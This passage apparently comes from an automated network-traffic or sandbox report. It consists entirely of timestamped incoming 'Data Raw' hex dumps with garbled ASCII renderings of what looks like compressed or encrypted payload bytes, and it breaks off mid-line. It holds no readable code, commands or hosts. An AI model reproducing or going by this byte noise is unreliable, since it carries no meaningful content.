89 57 fa 84 26 2c ea e7 db ef c4 47 f2 0a 5e 5c 25 49 87 b7 67 8a 7b 0a a9 20 ef 73 29 d3 64 3a 31 Data Ascii: z#,ryiy-Z"=jOna.4rYIIfr\|Gs8pSX1P]mQX<4cby5yKFluOs&"o%)D0emgOxchMu]+d8Qc9VI(}P&1z#dssFe>*T<EHW&,G^\%Ig{ s)d:1
2023-10-13 14:06:11 UTC	524	IN	Data Raw: 09 1f b7 a6 31 6c c8 b3 7b b1 7e 4e df 17 8e 7d e3 67 a5 d1 6c 49 2c 93 96 45 eb a1 7b 67 3e e7 a4 03 2c 23 0e 3f 62 1c 5b a1 93 59 43 4e e5 e5 e3 65 48 38 3f b6 80 2c 2d 11 99 df 19 d9 80 74 d9 94 d7 32 ee 75 73 6d 44 5d 13 72 4d 72 be b9 1e 98 22 20 2c 1b f5 c1 8f e6 24 83 d3 01 ee d3 7b 38 3d a9 41 ae 39 db 95 a1 a7 98 2f 20 78 37 f6 40 17 64 1c f1 b2 20 d1 82 98 dd 1b 43 96 5d c4 3d 77 6a 8d b0 bc 2a ff d2 3b 9e bd f2 b0 9a 19 0e fb bb fd dc 37 1c 9f 48 11 c4 cc 12 6d 8e 18 c5 63 e1 02 3e ac 08 d8 7b 92 c4 c4 e0 f0 42 35 81 51 a0 df 0d e8 f6 89 7a 1d 3a f2 8d 48 0d 48 ca f8 44 45 7e 96 9c 62 3b f5 ef b7 2a 5b 72 d1 27 1e ec 13 7b 6e c7 e2 61 55 b3 6e 18 78 b9 e5 dd 0f 0a 44 d6 84 92 4a 58 47 cc 72 b4 7f a2 fc 4d 33 a0 4c 3c 24 21 f7 15 1d d2 e2 98 a8 Data Ascii: 1l{~N}glI,E{g>,#?b[YCNeH8?,-t2usmD]rMr" ,${8=A9/ x7@d C]=wj;7Hmc>{B5Qz:HHDE~b;[r'{naUnxDJXGrM3L<$!
2023-10-13 14:06:11 UTC	540	IN	Data Raw: 82 9a 83 4b 09 6a f8 39 1d 83 6a 3b fc e0 26 a0 3d 88 ce 98 cf 59 6d c3 a7 34 04 af 6e 07 82 a0 6c 45 80 cc f0 c5 48 74 88 e9 c9 5b 97 54 5d ff cc f0 7d c3 b7 ce 7a e2 2c 58 ee f2 95 89 c9 b6 a9 5e 1b ac 9b ce 71 0f 88 10 8f b1 6a 23 9a be 60 c8 a2 cf 1a 5a e7 83 76 2d 1a 07 2e 49 4b 35 b3 08 60 2d aa 9f 57 3d fc bb 0f de f3 1a 19 31 77 7d 53 ba 2e 2c 49 91 e6 ac b6 97 2d a3 0d 7b 88 f4 1e 69 ba 69 6b 4d 29 48 35 97 f2 0d c4 eb e1 ac 0b dc a0 9d 0a 7c 74 d3 21 d3 0d b7 e7 ac 22 8a 04 8f fd ff 8b 02 83 c2 13 f4 17 8e 45 81 87 fe 24 89 ab d7 89 db 68 15 e3 b2 3b 4f 2d f1 83 60 8b 2b 6c 16 ec 66 8d 1a d0 6a 7e b9 c4 1d 45 df 5f a4 50 c6 36 e7 fc 12 a6 4c 9d ae 59 43 1e c8 53 5e 06 64 ea 56 12 3f 1e c1 66 ee 83 4d e4 17 81 b8 12 9a ee 2c 9f f9 1d e4 b1 9b 4b Data Ascii: Kj9j;&=Ym4nlEHt[T]}z,X^qj#`Zv-.IK5`-W=1w}S.,I-{iikM)H5\|t!"E$h;O-`+lfj~E_P6LYCS^dV?fM,K
2023-10-13 14:06:11 UTC	556	IN	Data Raw: 57 b5 1c b0 96 3e 6d 16 d6 c2 59 10 73 c8 ed 44 8d 74 a4 ee 69 c5 78 34 f5 03 79 65 3a a4 f1 8b dc e5 51 73 40 eb 96 04 8e c9 fd 82 1c c8 1e 82 6e e4 ea 8e d1 38 37 6d 77 0a 3b af c0 b6 6d 7c f8 d4 6c e6 a7 25 3d 86 fc 24 57 f6 62 0a f0 94 34 c2 9f ed ee 5d 00 a5 5c 6b a7 a9 20 15 dc 7c 32 38 f4 cc 76 33 54 a1 19 fd 53 7e 17 b2 20 05 ef 14 e3 66 43 21 8c ed 56 0f af 38 db fb 15 ea 6b 47 54 2d 83 79 df ee 41 ff e7 dd 55 6e 75 26 5c 17 a5 0a d9 8a af dc 41 5c 23 2d f6 78 2d 77 e8 bb 1d bc d5 de f6 17 ac b7 a8 ea 9f 46 0e 4e 6d fc 79 e6 8a 9d 91 d4 3c 77 b6 2a 10 3f 14 18 3e eb dd f5 b7 d3 0c 62 f6 1f 35 a6 3f cf 83 d3 68 0c b2 4b c6 4e 3f 66 a0 a4 4f 68 22 8b ab de b4 c4 3f 98 bb 83 a7 30 5a e5 01 58 35 73 19 76 66 a9 59 e3 3c 94 a7 6a 03 ff 16 0d 37 fe 49 Data Ascii: W>mYsDtix4ye:Qs@n87mw;m\|l%=$Wb4]\k \|28v3TS~ fC!V8kGT-yAUnu&\A\#-x-wFNmy<w*?>b5?hKN?fOh"?0ZX5svfY<j7I
2023-10-13 14:06:11 UTC	572	IN	Data Raw: d3 0d 6c 1a ea 2b 5d 58 10 d9 b9 1b ca d1 a0 f0 c7 9a 4b 40 80 b4 82 a7 61 e8 b4 94 2a f4 62 be ae 26 f1 63 8e 49 1e 85 4d 17 44 fc 37 4a 9b 52 e6 5f e5 03 3a 47 89 fc 67 1a b8 65 98 8a 7f 55 ea 15 0d 35 97 df 54 05 17 4a ea 2a a7 be ad 37 72 aa bf 04 14 d5 38 03 40 52 11 d0 e7 9d 2a aa 8e bd d3 f1 3b 6e 11 a8 b4 1c 96 6d 35 56 91 e3 4a 57 2f 8c ea 86 b1 1e fc cb 95 a9 ca f2 e8 4e ec f7 a0 a4 28 98 6b fb b3 c3 ec b7 2d cc ed e8 ff f3 11 54 bc 54 a5 5c 51 35 1f 97 bf f3 b2 83 69 50 4f b4 09 f9 68 09 be cb 5a 13 74 4f 8f dd b7 3e 01 d0 71 16 78 08 36 ae 41 4b 12 4c 7e 4e 7d 6a 05 d1 59 68 52 89 da a1 bc 68 74 f8 a5 b2 7c 8e a7 7c d9 f8 7d 03 db d3 0b 64 c8 42 96 a6 a0 b3 65 d1 70 c8 12 86 d7 49 3a 61 77 37 65 10 02 07 ba 81 05 77 07 30 b8 b4 4f 82 32 5f 1f Data Ascii: l+]XK@ab&cIMD7JR_:GgeU5TJ7r8@R*;nm5VJW/N(k-TT\Q5iPOhZtO>qx6AKL~N}jYhRht\|\|}dBepI:aw7ew0O2_
2023-10-13 14:06:11 UTC	588	IN	Data Raw: 2b 76 22 a0 7e 3e 02 70 1c d9 eb f5 75 81 ef 95 8f b6 02 c7 27 56 a4 ec b9 af bb 9a 84 b8 d1 bd 5c b3 52 8d c6 87 fb 83 b8 08 7a 63 c6 59 34 cf 39 63 8d f9 38 63 39 20 dd 32 f0 13 8b d6 49 59 c4 c7 53 21 c1 39 e5 3c af ea 5f c9 d3 53 3d 2f 7a 44 38 2e 62 b9 35 04 40 4a 3b a5 f8 62 85 24 38 0c 87 a6 5e 0a 51 09 30 35 0e 00 2e 95 1e af fa 9e 3f 69 f4 fd c3 b9 87 97 70 d4 ac 74 a4 a8 23 38 64 a6 ba 39 83 c7 e7 91 98 37 79 18 6a fe 20 f9 5b eb 98 16 c5 e4 6b f6 98 9e fc 5c c5 42 3c e0 13 e9 d5 7c 76 e8 0f f2 09 b2 76 1c fb e2 5c f7 ce 8c 21 ba f9 52 ca c8 15 13 68 d9 b8 3a 00 61 04 58 7f 87 6b 34 87 b0 2d 80 1d 39 7c 93 eb 5e b0 00 07 75 0b 58 3a ba 8f 7b 33 c3 98 7e 91 21 79 da fa b5 20 9e 4d 8d eb f2 ec c2 2f 5c f5 b0 47 4c 49 21 13 6c 01 3d 2b 4c 07 ad 61 Data Ascii: +v"~>pu'V\RzcY49c8c9 2IYS!9<_S=/zD8.b5@J;b$8^Q05.?ipt#8d97yj [k\B<\|vv\!Rh:aXk4-9\|^uX:{3~!y M/\GLI!l=+La
2023-10-13 14:06:11 UTC	604	IN	Data Raw: e4 ae 16 64 90 0b e9 4b f1 c3 a5 64 c3 1f 1c b8 90 96 7d 02 6c 95 98 ae 27 85 72 c4 c1 9a 4a 01 3b 55 e7 c3 dd 8c 90 d2 13 dd 4f e6 63 be 54 bf 15 8f 9f 52 fa 42 31 86 c7 93 f4 14 3d e8 75 b1 ba 68 99 db 2c d2 8f 0b 39 31 c2 07 8d bd 9f ef 5b c7 2a 82 e4 8d 0a f4 ea 0f 15 5d 42 77 aa 2b d2 92 7b 30 de f4 76 b6 4b 6d d0 4f f5 3c a3 1c 9e 73 c5 e8 53 2b b0 c2 01 01 b7 60 2e cb 0a 9a 40 36 e3 ba c9 a4 d9 ac f4 f4 88 2b df c5 55 4c 67 5f ab bb 99 41 3f 01 c5 e9 a8 90 7d 08 8f ec f9 f3 ef 80 5e b0 cc 54 79 de 96 6c 1e 1f ad 48 26 f1 2b 75 3b 05 7b 3f 8f 60 b4 21 2b f4 36 bc 66 0e 3d 5d b9 48 59 34 e5 c1 96 ab 59 b2 7d a2 c3 f2 41 95 36 88 b3 97 b3 56 14 93 81 09 e2 87 0c 7c 36 e1 a3 cc 0e 83 13 94 ca 71 43 1a c6 aa 89 c8 64 89 55 06 c9 fe 20 dd 92 a4 98 36 01 Data Ascii: dKd}l'rJ;UOcTRB1=uh,91[*]Bw+{0vKmO<sS+`.@6+ULg_A?}^TylH&+u;{?`!+6f=]HY4Y}A6V\|6qCdU 6
2023-10-13 14:06:11 UTC	620	IN	Data Raw: 34 a1 79 25 e8 38 b7 00 50 2e 7d 33 c2 88 bc 77 f7 18 e4 81 f0 14 37 f7 fe 63 dd 55 20 2a 56 36 57 d8 0f 7a 8c 35 57 48 a1 79 79 d6 5e fd de 7c 14 58 ec f5 44 0a 5e c9 20 0c 5e ee c3 41 1f 1b 07 07 56 26 26 37 50 71 7e 0c 74 26 75 de 40 cd b8 a0 03 90 ed 56 46 b4 14 83 e6 dc 17 1f 74 e4 ca 71 f3 da c8 79 3d c3 a4 9b e3 88 56 ad fe 3d 13 5b c4 8f 13 7e 59 94 88 a1 df f4 13 bf 48 e5 76 af d4 4e 43 6f bd e7 30 83 46 6b 71 eb a7 76 3e 83 41 5f 2b 9f e0 57 94 f0 8e ea 7f a1 76 26 af b3 7f 3a e0 37 e0 f4 83 e3 6f 72 51 1f 92 a2 f7 ba 17 0c 2c 5d b9 be 9e da 5b af c9 dd 40 73 a4 ee d7 77 01 7a e5 e8 fd 1f 4c 6f 59 30 7d d3 8a 7c f1 1d c4 1d a6 46 02 67 13 8c b3 28 4e f4 c9 fa 47 00 e3 e7 a1 a9 02 2a ff 36 55 1c 46 a6 f0 3c ef 03 b1 39 65 fc 89 b6 e8 04 d4 e1 6e Data Ascii: 4y%8P.}3w7cU V6Wz5WHyy^\|XD^ ^AV&&7Pq~t&u@VFtqy=V=[~YHvNCo0Fkqv>A_+Wv&:7orQ,][@swzLoY0}\|Fg(NG6UF<9en
2023-10-13 14:06:11 UTC	636	IN	Data Raw: 08 50 27 b7 5b 6b 6b 7c 37 e8 c7 07 59 a6 31 17 43 98 95 aa 2e ec 28 4c d5 3a 90 27 12 1e 10 92 81 b7 01 b6 a7 6b de 3a f2 fb e1 7c ee bc 2a 3f 99 0e ce 02 4f 4f c8 9b 7e 0f e6 40 34 36 e0 b1 94 2a 68 18 52 a4 65 eb 9f 05 19 6a 4b b0 e7 92 0d 63 43 40 03 58 4e 47 c5 88 fa 08 37 3a 5b 0f 5d 4e f6 13 4b 74 21 1a b9 e1 71 10 dc 56 ef f9 83 c9 96 38 b1 c9 23 7a 7e 80 ec 46 f6 9a 92 c1 9b 23 39 58 15 60 9a 1c a8 2d 62 98 9c 2a 2c ab ff 0d da 84 a0 1b 71 ae 7e e6 0a 00 32 0b ad 88 22 fb 6b 07 51 67 d6 e3 f8 8b 83 fe c1 e2 89 de 2f 74 75 c2 0d 10 ac 7e d3 59 12 87 4f d3 42 b9 7e be c0 bf 50 2d 7a 21 5a cd 41 58 9c 05 c1 e5 82 26 fb 8f 0d ae 8f b7 5f 3c 42 11 72 19 c4 b7 fd a1 85 3c e1 a1 f3 d5 49 77 2a 99 7f d4 a7 d3 ec 74 8e 13 24 d1 be 22 e5 2f 59 68 18 09 64 Data Ascii: P'[kk\|7Y1C.(L:'k:\|?OO~@46hRejKcC@XNG7:[]NKt!qV8#z~F#9X`-b,q~2"kQg/tu~YOB~P-z!ZAX&_<Br<Iwt$"/Yhd
2023-10-13 14:06:11 UTC	652	IN	Data Raw: ed 99 71 89 27 42 ee dc 29 69 b0 6e 9f 3f ef 2e 5c 2d 4f 2b d7 99 cf 18 dc 8f 56 7a 9e 40 77 37 ad 58 4f c5 f8 d4 de 96 96 92 4e 71 a0 3c cb a9 0c 01 19 17 49 5c 16 3e 3b c7 b0 80 b2 31 e3 23 8a 0e bc b4 78 12 b6 fb 12 0e ab ca 02 f0 89 fa a8 97 55 9d f1 ab 9d c3 11 2c 2d 9d 7d 88 6c 98 9d c7 53 3f 95 66 07 8c c2 a6 50 ef b9 70 a8 fa fb c7 a8 ff c2 0c 0c 98 b4 88 dc 97 f8 b3 a8 bc 72 a1 16 9b 62 f5 26 e3 f9 e7 ba 72 3e 40 e2 e0 9e ef d7 4d c0 89 a1 d6 e9 f3 76 51 21 91 45 c9 d2 e9 d3 19 e2 9e 9e 89 8a c7 f9 80 7e 9d 30 36 05 f2 39 1b f9 9f 34 76 74 26 d3 e8 5a e8 f2 48 af 2e 5d 53 b8 98 38 61 2a f8 bb 85 73 f0 88 9a f7 49 e6 6b 54 97 ba 98 8c b6 f7 85 27 ff 85 80 02 2c f7 00 e6 3d ef ca 06 9f d4 f8 5e 1b 0d 7e 5e 2e de 32 67 1d 44 48 d9 8c 45 a9 36 71 98 Data Ascii: q'B)in?.\-O+Vz@w7XONq<I\>;1#xU,-}lS?fPprb&r>@MvQ!E~0694vt&ZH.]S8a*sIkT',=^~^.2gDHE6q
2023-10-13 14:06:11 UTC	668	IN	Data Raw: 02 01 d6 da 43 f0 4e 09 3f 2b 3d 49 b2 e6 59 fb 03 7d 91 97 50 ca 66 a7 c3 31 35 eb d4 c9 fd e8 63 c9 24 21 74 51 a0 da bf c6 9a e5 38 dc 35 dd d6 f4 b3 e3 3a 73 cf 1b 63 a7 ce dd 82 f4 72 2d 82 b3 f9 29 da 30 dd cd 1b 6d b0 a2 74 71 4d ba 64 14 86 cf 47 9c 2c 6b d1 01 55 9d e3 45 ab 7d f2 f0 88 8a 60 12 38 41 e4 29 ba c9 f7 3b f7 55 63 80 65 aa 8c d9 88 ec ba b5 4c 69 ae eb 00 c1 9f 34 0e 09 be 3a 69 6f 38 87 36 cd a3 3d 98 d0 43 9a 0a 30 09 3a 55 df ba 7a 5d 1a e5 d6 2b cd bc 8b 54 bf 96 c2 99 c5 57 e9 fc 35 97 5d ec 4c ae e0 83 38 f2 31 9f c2 04 01 a1 d0 14 f1 9c 21 b4 fd a7 f9 3f 3d 0c 60 71 65 dd 86 97 a0 19 92 72 ba 4d c6 74 c1 33 07 f1 81 62 88 72 1b 38 90 1a 87 ea 28 db 0e d2 4d d2 af 82 5a 57 26 8b 15 09 3e 04 8c 90 9a 75 99 e5 cf 31 35 8d 8c 71 Data Ascii: CN?+=IY}Pf15c$!tQ85:scr-)0mtqMdG,kUE}`8A);UceLi4:io86=C0:Uz]+TW5]L81!?=`qerMt3br8(MZW&>u15q
2023-10-13 14:06:11 UTC	684	IN	Data Raw: 3b 68 9a 4d a6 fb 7b 0f 36 71 33 d3 df ad c3 5c d0 50 87 07 5f ed 73 46 ff 83 5a fa 90 42 44 38 75 35 8b 7e 9d 51 61 e2 1e e1 8e 64 8e 1d d9 21 aa b4 fe 1f 12 33 c9 42 f0 ed 6c 7f 79 87 92 d5 dd 9f c8 91 14 23 02 17 00 e4 c1 c8 19 e0 23 ac f9 39 62 98 d7 65 73 43 7d e6 38 46 b1 98 07 70 6a c2 01 40 b4 57 fa 3c 97 cb a3 f8 f0 c6 21 e5 8c 9c 71 31 2b de 93 c4 a1 e8 6f d3 c1 29 f6 d3 62 7d 98 f0 f1 f1 b9 9a 78 df 0b 5c f9 2f f3 57 42 d4 2b b5 1a 4c da c2 45 f8 74 d8 ce fb 5d eb e5 c5 ea d9 58 67 85 c6 96 0e 72 a5 91 01 5d 63 cb 32 1e d2 9f 9f 1c 27 0b c9 dd 9f dd ae b6 8d 32 bc 59 d9 8c 2b c4 b0 c0 a5 3e 39 d1 c5 0f f8 bc c6 39 8f a4 d7 3d 1d c1 73 d0 c2 68 3c b3 59 ea b2 62 0f ae d2 45 44 fc 8c 85 36 d3 24 3c de ea f3 ef 61 5a 6e de ff a2 23 bf a4 50 84 e1 Data Ascii: ;hM{6q3\P_sFZBD8u5~Qad!3Bly##9besC}8Fpj@W<!q1+o)b}x\/WB+LEt]Xgr]c2'2Y+>99=sh<YbED6$<aZn#P
2023-10-13 14:06:11 UTC	700	IN	Data Raw: a3 30 30 5d 5d ce c5 80 3c 0b bd 9b 19 06 0d 3d 21 b2 f0 85 c1 fe c3 78 e7 a6 2c 22 dc 68 9e d2 ec c7 f0 5a 63 da 0d f9 18 01 93 36 ce 94 82 4a 21 c2 e5 c7 56 00 bb fc e3 6c db 77 7b a6 4b 3b b2 f1 be 07 d2 81 c1 51 4c a0 87 08 ef 95 0d 42 98 a5 b9 29 f2 d7 4b a9 ef bc e2 fc 61 98 43 0c 2b 7e a6 91 2e 07 ce 87 ea 91 a6 6c 33 3f d5 95 64 0f 03 a0 6c 1c 16 14 88 64 90 23 ee df 09 ef ed 56 c0 91 7d fc f3 c1 1f ab 06 e2 6c 32 3a 22 c7 8b a5 a1 36 9d 72 98 6d 4e 7c 33 d3 8f ea 52 1c 4d 1a c5 6e 71 d2 f6 a9 5d bc fe 61 b1 96 40 5f 63 25 76 b5 4f d0 87 f8 4f ce c8 f0 8b 54 cd 23 c7 be 35 4a 8e 28 96 9a b1 96 0c 3b ad b6 a1 92 8f 59 55 2d b2 bf ff ac 3b 3d 97 d3 bb ab d0 7e 37 6c 09 b1 ad 8d 68 da a5 8d bc 31 df 4e f4 28 c8 d4 34 2e 0e b3 10 c5 54 ad fa 2b 9b e2 Data Ascii: 00]]<=!x,"hZc6J!Vlw{K;QLB)KaC+~.l3?dld#V}l2:"6rmN\|3RMnq]a@_c%vOOT#5J(;YU-;=~7lh1N(4.T+
2023-10-13 14:06:11 UTC	716	IN	Data Raw: 23 ff dc c9 b2 4c 5d 2d f0 eb 80 af 67 06 48 5c 73 0f 03 6c 4d 2b e7 f0 df a8 3d 33 f2 2a 18 23 22 b2 a7 72 4a dd 76 7e e7 cd 40 30 86 ac b5 db 0a 92 37 24 f0 47 07 98 f9 89 91 f8 5e 6a 3d 30 8e 2d 33 33 cc bf d4 d6 1e 75 cf 52 6a 34 2e 40 c7 9c 75 1b d1 d3 b6 24 18 54 a6 02 b4 5a 3b 1e 84 87 1e 41 82 f7 40 3d 26 d7 3c 1a b9 a0 4c 15 14 72 40 fe 1a 39 4a 34 3c 38 0e ca 5a fc 0c 56 dd 42 33 8e ab 02 b7 36 1e 05 3b 7d e0 96 1f 74 57 5e 0e a2 b7 98 b0 44 ca 4a 09 76 f2 b7 6e 7c 7c 72 fe df 80 af fb 82 a8 c0 30 a3 a9 44 e7 ec eb d5 63 f3 74 b9 64 8b b4 e8 b2 f6 22 af bf dd 42 fb db 95 21 34 07 f2 bb 5f 4b 2b cb e5 e5 94 0c ff 33 93 ab 68 ea b6 ae bf 30 b7 12 49 58 91 dd 5a 6b 57 fd b8 ea 33 62 35 c3 c4 ae 51 8b 75 3b 39 d8 69 fe 0a aa c7 45 aa ea a5 ad 78 95 Data Ascii: #L]-gH\slM+=3*#"rJv~@07$G^j=0-33uRj4.@u$TZ;A@=&<Lr@9J4<8ZVB36;}tW^DJvn\|\|r0Dctd"B!4_K+3h0IXZkW3b5Qu;9iEx
2023-10-13 14:06:11 UTC	732	IN	Data Raw: b6 8e 97 85 f9 e1 1f 3e cb 41 5c 31 f0 85 80 4b 9d 00 3d 08 6c c8 85 f2 47 fd be 30 0a b4 a3 62 a5 d4 be 5c fe 3e d4 12 3f e6 82 ca bb b3 85 cf 70 28 1b ba 32 63 c7 c8 8e fc 03 14 e0 dc ac 82 dc 42 ef 7f b6 5d 58 07 64 55 dd 5c 24 71 50 9f 03 90 ef 72 e3 00 8d 1e f3 06 a6 aa 70 78 90 85 19 1f 08 21 e9 d4 fc 35 35 81 ff 62 52 b3 18 ef b9 45 93 17 9a 56 95 81 cd 40 9f 26 61 bd 30 64 69 ce 52 ad 09 ac 89 ad 6a 86 1f 2b 66 9d d2 f7 bc fb 49 8b ab be e0 c7 3a 3a cb d5 c8 c5 e5 9a 68 23 65 73 15 1d db 81 97 4d 6e 19 a0 d8 99 fe 02 15 8a 96 83 38 c4 71 e8 69 31 a2 b9 84 38 14 fa 68 70 3d da b2 48 fb 38 20 bb 0f be 4d 19 b9 91 58 63 04 ca be 13 3b 97 75 e2 7a 76 4a 41 3c ff d0 4d fd c1 87 dc b4 a2 1f 26 3e 7f 90 4d 5b 33 bd c5 8d 65 85 dc 2d dd 6b 39 a8 bd 11 d3 Data Ascii: >A\1K=lG0b\>?p(2cB]XdU\$qPrpx!55bREV@&a0diRj+fI::h#esMn8qi18hp=H8 MXc;uzvJA<M&>M[3e-k9
2023-10-13 14:06:11 UTC	748	IN	Data Raw: 87 55 47 66 e9 3d 31 dd c3 fc f6 e9 4d 03 0e 45 10 18 42 ce 9e 14 10 a8 39 ab f4 10 fb 19 78 78 63 5b 26 07 b6 2f 12 17 da 12 0f fe 8a 26 26 74 6a 63 8e 51 22 d0 f4 54 51 92 c2 f6 49 da 3d c2 7c 26 40 70 1b 18 1b 8b 73 30 ae 4f 8c 63 86 b7 37 d5 56 61 82 b8 21 1b 5a 3e 5d 4d a9 11 1d d1 f8 30 1c eb 51 b2 47 70 1a fa 65 c6 70 8f 50 80 d7 41 c5 d9 9e b7 6e 3d c9 97 fb a6 1b 30 d5 63 60 52 a6 08 d7 ca 0d 50 94 92 61 cf 5b 27 ac a4 65 c9 5e 1d 6a 44 35 cb 3f 81 2e 1d d0 73 25 8f f0 04 65 be 2a c6 b9 f9 32 ce c7 fb 9a aa 5f d8 2d 52 c3 54 53 5d 58 4d 7d da 60 25 28 af 1b 8e 0b 46 b6 d0 bf e8 21 57 38 ea 56 cc 8e 38 32 fe 8c e5 68 28 ce 98 da 2c e6 c5 4d e2 80 19 89 ee 75 c1 b5 a6 fc f4 5d 57 e3 cf 31 c2 69 de 05 ce 70 da e6 41 a0 10 69 61 b5 e1 dc 21 9b 49 79 Data Ascii: UGf=1MEB9xxc[&/&&tjcQ"TQI=\|&@ps0Oc7Va!Z>]M0QGpepPAn=0c`RPa['e^jD5?.s%e*2_-RTS]XM}`%(F!W8V82h(,Mu]W1ipAia!Iy
2023-10-13 14:06:11 UTC	764	IN	Data Raw: 4e ad 26 98 7e 51 c3 04 0e 8c 7a 63 5b fd 23 43 51 de d5 f0 ca 92 50 a1 98 d4 7a 77 af 45 af 28 49 0c 35 40 8e e2 f3 4a 49 4a 0d 56 d3 4c 5e ce 15 f0 b3 da e3 9e 0b da 7f 16 85 e0 da c3 d3 cf 18 3b 9d 62 39 03 aa e3 f2 38 8f ff 4f c2 a2 64 89 7d fc 10 79 91 b4 8b 0b d8 23 0e e4 dd 56 1e 6c ea ea 66 45 e8 45 f0 dd bd f4 06 6e 06 94 07 9f 7f f6 16 d7 5e 84 13 59 03 47 8b 4c 9e 1a 36 57 83 a8 f0 cd 25 b2 e7 61 5c 52 33 b6 48 cc 12 83 e3 87 28 f4 ea 7f c4 11 c0 5c 2c 7a 78 5e ef 28 6a c1 12 95 c9 1f 2d e8 82 df be 02 a1 8c 5c 53 40 c6 90 95 28 30 46 c8 f7 64 71 14 75 7b 30 d3 f6 42 da fb f0 f8 00 51 cd f9 ff 9f 4e 9a 81 39 b4 67 c1 96 6e 30 1e 98 b9 e0 c9 c5 08 4e 94 63 e3 55 d4 88 7b ee 6a 88 5c b2 51 ae f6 c5 27 71 95 19 76 83 a5 d7 e0 82 57 85 3a e6 db 74 Data Ascii: N&~Qzc[#CQPzwE(I5@JIJVL^;b98Od}y#VlfEEn^YGL6W%a\R3H(\,zx^(j-\S@(0Fdqu{0BQN9gn0NcU{j\Q'qvW:t
2023-10-13 14:06:11 UTC	780	IN	Data Raw: d4 b2 b0 34 23 16 44 3d 41 d0 f0 c8 d4 50 2e 2d f2 b9 84 cd 80 ca da 20 70 25 06 4c 55 47 80 8b e7 dc 48 2e 4a 8e 6b 46 d1 13 56 42 56 0f 87 fe 02 7d 1c f6 d8 e1 67 da af c3 a6 3d 09 01 b2 10 d8 c4 0c e5 1a 12 fd 53 53 c6 c0 5a 16 9b 01 12 ea e8 ec 00 b1 64 52 97 3a ec 4c a5 42 2b c9 7d 54 d3 8f e8 ac ea 35 57 af f0 3d 16 60 d3 3d cc ff 0a 2a 86 0e d3 00 ab fd ae b9 7c bc c6 61 9e fd f6 60 25 16 06 0a 95 0a 3e 18 8a ba dd e0 59 6c 27 de be 03 1a 68 b7 a1 7b 18 cf 3a 52 60 f6 61 f2 ff 19 91 88 6c 75 88 46 d2 d0 42 f6 07 6b a1 5a 89 70 8c 06 b6 0a c0 0b 8d 30 f2 75 25 95 b2 b6 c2 c7 5a 91 2c 18 5b 20 89 ed 27 32 62 0b 68 7e 38 80 51 c8 a2 57 b2 66 12 66 b6 53 93 30 47 36 10 42 f7 0c 06 d8 9a f8 59 2a ec 0b fc 8d 1d 96 05 14 43 7a 34 60 17 3f 2a ca 35 62 32 Data Ascii: 4#D=AP.- p%LUGH.JkFVBV}g=SSZdR:LB+}T5W=`=\|a`%>Yl'h{:R`aluFBkZp0u%Z,[ '2bh~8QWffS0G6BYCz4`?*5b2
2023-10-13 14:06:11 UTC	796	IN	Data Raw: ec e5 b3 17 42 8b fe 6a 2c 56 f9 14 23 51 51 1c 3b 0f 23 29 11 c6 e0 8a 03 0f 33 d3 cb 52 0c de c1 db 06 d5 a0 f4 0e a9 f2 57 5b 43 37 54 28 86 be d8 f3 8e 21 c5 b1 37 08 3b 48 6c 9a 5e 0b 60 15 0c b0 fd 9d 7d 78 3b 67 77 6a 09 5e 38 a8 71 07 ff d9 b2 f2 23 ce 3b 89 80 56 5c 11 f7 6d 0d 1e b3 13 2f 66 37 11 83 35 c1 e9 d4 76 54 e7 08 08 3c 66 d9 25 8b 11 bb c4 3a f3 1f 39 81 17 6c a3 7b 63 cb ea 52 db 48 04 d5 e3 6e a7 6c dd e6 a0 f9 a3 ec de 92 07 e1 7f cc bd 68 86 c6 a0 3e a6 5f 32 6b fa 1b 4d 3a 3e 8b 81 c7 7d 5e 07 1c c6 9b 17 97 e9 75 3b 58 d3 66 11 cf 6f 08 b8 bf db f5 3e f4 eb 10 ce f2 37 c1 b6 25 3d 82 71 ec c1 ca c9 0d bd 93 02 8a 01 a0 7b b4 29 ec 64 81 5c 29 eb cb 38 f5 93 38 89 74 26 5b 7b fe 87 80 35 0f a8 e1 91 38 b0 c9 bf b4 8c aa b5 36 db Data Ascii: Bj,V#QQ;#)3RW[C7T(!7;Hl^`}x;gwj^8q#;V\m/f75vT<f%:9l{cRHnlh>_2kM:>}^u;Xfo>7%=q{)d\)88t&[{586
2023-10-13 14:06:11 UTC	812	IN	Data Raw: d1 17 27 ba 85 ec f2 74 33 6f 6e 70 e1 23 8e 00 54 f5 c8 d9 6e ed 5a ca 0e db ff a4 d5 d8 45 67 5f 03 f9 48 a3 12 b0 ab 3b f8 ca ad d9 cf 03 16 df bf 0a 9f 5a 2f 3e 2a 81 22 3d 8d 8b 2d f9 0b 5e c0 3b d5 23 d7 77 97 49 34 c3 7e 27 4a 74 4b c7 d9 7b f8 91 b3 d0 c1 7d 8f 76 f3 c8 fd 32 08 3e a4 ae 0d 8d 2f c1 a4 3c 88 cd 65 ce 8a ea 3f 82 d8 9b 14 3e e6 51 7f 3a 41 ba b2 c5 e4 0d 59 6b 41 81 cd a1 40 93 08 00 a3 1b eb 3e 99 24 c7 92 d4 4b 9c cb 0e 2f a0 b8 83 8e 4d 7f 8a d9 61 e7 ca 20 1d 19 b3 8e d4 86 98 60 12 c3 44 49 b3 97 d8 70 de bf 17 a2 8c bb d9 72 85 26 01 d3 f0 eb 20 11 e1 77 28 0d 19 5d 9c d3 17 f6 da 10 67 69 53 3d 0c 1e 30 15 ec 48 bf 21 b4 da 03 a6 f3 a3 24 51 0e f0 d7 99 09 53 93 a6 4e 19 bb 79 8c c4 fe c9 ec 1c 14 3e b0 34 0b d4 53 6c 19 14 Data Ascii: 't3onp#TnZEg_H;Z/>*"=-^;#wI4~'JtK{}v2>/<e?>Q:AYkA@>$K/Ma `DIpr& w(]giS=0H!$QSNy>4Sl
2023-10-13 14:06:11 UTC	828	IN	Data Raw: 2c 92 bd 8f 0b 2b 29 3c e3 99 3b c3 62 d4 0f eb ee ba 32 a9 55 63 76 94 1c 09 a8 8a 29 5b 31 3e 1b 38 43 94 73 c6 d7 a5 34 9c 7a 88 ba 37 94 0c b6 dd c0 42 dc a9 bd be 53 01 68 e8 52 b5 f4 12 a7 78 55 d7 3c 15 f3 6b 92 33 d5 2f 21 ad 15 ef aa b1 66 c4 a3 b4 a6 89 4d 39 3e b8 c1 92 c8 ed c2 72 fc 54 7f e0 33 41 96 6c fe 48 92 07 e1 00 13 f8 d3 90 1b 55 74 58 98 ec 08 9e cd 22 86 9e 37 bb 8d 68 f7 99 83 bd a9 12 a6 b9 ea 52 77 27 3a bc f4 72 a3 48 48 0d bb b6 c1 f8 49 9d 3b e0 a0 b9 5e f8 20 c8 a3 35 f9 b1 df bb a8 0c f5 84 4d 39 51 d5 10 ea a2 f3 